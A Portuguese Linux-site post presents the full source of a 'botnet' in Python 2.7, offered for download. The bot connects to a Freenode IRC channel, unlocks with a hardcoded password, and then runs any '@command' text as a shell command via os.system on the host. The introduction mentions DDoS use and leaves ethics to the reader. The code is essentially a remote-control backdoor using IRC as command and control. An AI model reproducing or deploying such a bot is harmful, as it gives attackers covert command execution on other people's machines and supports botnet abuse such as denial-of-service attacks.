Botnet em Python sem segredos!
Publicado por mrxrobot (última atualização em 01/11/2017)
[ Hits: 32.478 ]
Homepage: https://notabug.org/mrxrobot_
Download 1508041489.botnet.py (versão 2)
Há tempos é utilizado por muitos programadores, hackers (pessoal do GNU/Linux) que habitam literalmente a rede Freenode, softwares que desempenham o papel de bot ou comumente chamados botnet para desempenhar diversas tarefas em rede tanto benéficas quando maléficas, entretanto vai do bom senso e da ética discernir o que é "certo" e o que é "errado", como exemplo temos os "DDoS" (Distributed Denial of Service) que se vale dos bots para realizar os ataques.
Esse script possui o conceito básico de como fazer um simples botnet utilizado a linguagem Python na sua versão 2.7, permitindo a execução de comandos no host que estiver rodando o programa botnet.py através do IRC.
Publiquei um artigo de como controlar o Arduíno via IRC, partindo do mesmo princípio deste script:
http://www.vivaolinux.com.br/artigo/Controlando-Arduino-via-IRC
Para facilitar o estudo do código aqui está o link do meu GitHub:
https://github.com/MarcosWarlock/Python/blob/master/botnet.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#############################################
# botnet em python
# por: Marcos Rodrigues de Carvalho
# nickname: warlock
# VOL: www.vivaolinux.com.br/~marcos_warlock
# distribuição Gnu/Linux: Slackware 14.1
#############################################
import socket, os, time
from re import search
#Configuração do servidor IRC
server = 'irc.freenode.net'
porta = 6667
canal = '#testeprogramaboot'
nick = 'controle'
password = 'senha1234'
# Cria o servidor socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, porta))
s.send('NICK %s\r\n' %nick)
s.send('USER ' + nick + ' ' + nick + ' ' + nick + ' .:\n')
s.send('Join %s\r\n' %canal)
time.sleep(2)
print (s.recv(1024))
#Verifica o que é digitado no canal
# Se for digitado "@ligar + senha", o status da variável teste passa para True
# Se não o status da variável permanece False.
teste = False
while teste != True:
msg = s.recv(5000)
print (msg)
if msg[0:4] == 'PING':
s.send(msg.replace('PING', 'PONG'))
if search('@ligar %s' %password, msg):
teste = True
s.send('PRIVMSG %s : Conectado com sucesso!\r\n' %canal)
# Verifica o que é digitado no canal
# Se for digitado "@command + comando", o programa executa o comando informado no
# servidor que está rodando o botnet
# EXEMPLO: @command clear
# EXPLICAÇÃO: Será executado o comando clear que limpará a tela.
while True:
msg = s.recv(5000)
print (msg)
if msg[0:4] == 'PING':
s.send(msg.replace('PING', 'PONG'))
if search('@command', msg):
msg = msg.split('@command')
msg = msg[1].split('\r\n')
os.system(msg[0])
s.send('PRIVMSG %s : Comando [ %s ] executado com sucesso!\r\n' %(canal, str(msg[0])))
Controle de Depósito com SQLite + Python
Problema das Oito Rainhas (Random)
Cirurgia para acelerar o openSUSE em HD externo via USB
Void Server como Domain Control
Modo Simples de Baixar e Usar o bash-completion
Monitorando o Preço do Bitcoin ou sua Cripto Favorita em Tempo Real com um Widget Flutuante
Como impedir exclusão de arquivos por outros usuários no (Linux)
Cirurgia no Linux Mint em HD Externo via USB
Anúncio do meu script de Pós-Instalação do Ubuntu
Formas seguras de instalar Debian Sid (2)
Duas Pasta Pessoal Aparecendo no Ubuntu 24.04.3 LTS (12)
Alguém pode me indicar um designer freelancer? [RESOLVIDO] (5)
Alguém executou um rm e quase mata a Pixar! (3)
Por que passar nas disciplinas da faculdade é ruim e ser reprovado é b... (6)









